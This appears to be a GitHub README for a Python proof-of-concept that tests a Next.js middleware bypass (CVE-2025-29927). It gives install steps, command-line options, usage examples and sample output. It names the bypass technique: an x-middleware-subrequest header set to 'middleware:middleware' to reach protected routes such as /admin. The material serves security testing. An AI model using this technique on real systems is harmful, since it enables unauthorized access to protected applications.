
> π Proof-of-Concept for a fictional Next.js middleware bypass (CVE-2025-29927) β craft sub-requests to test protected routes.
This is a proof-of-concept for a fictional Next.js middleware bypass vulnerability (CVE-2025-29927). Use only for educational and authorized security research.
| Feature | Description |
|---|---|
| β¨ Color & Verbose | Color-coded output; -v for detailed debug logs. |
| π¦ OOP Structure | Class-based design for clarity and maintainability. |
| π Proxy Support | Route traffic through HTTP(S) proxies via --proxy. |
| πͺ Session Handling | Persistent requests.Session for cookies & connection reuse. |
| π¦ Redirect Control | No-follow-redirect by default; clearly detects pass vs. fail. |
| π Custom Headers | Override User-Agent, x-middleware-subrequest, or add headers. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Requires Python 3.7+
python poc.py [options] <host>[:port]
| Option | Description |
|---|---|
-p, --path PATH | Protected route path (default: /admin) |
-s, --scheme {http,https} | Protocol (default: http) |
--header HEADER | x-middleware-subrequest header value (default: middleware:middleware) |
-ua, --user-agent AGENT | Custom User-Agent (default: Mozilla/5.0) |
--proxy PROXY | HTTP(S) proxy URL (e.g., http://127.0.0.1:8080) |
-v, --verbose | Enable debug output |
-h, --help | Show this help message |
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Success
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed β access granted!
--- Response Snippet ---
<!DOCTYPE html><html>β¦<title>Admin Panel</title>β¦
Failure
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)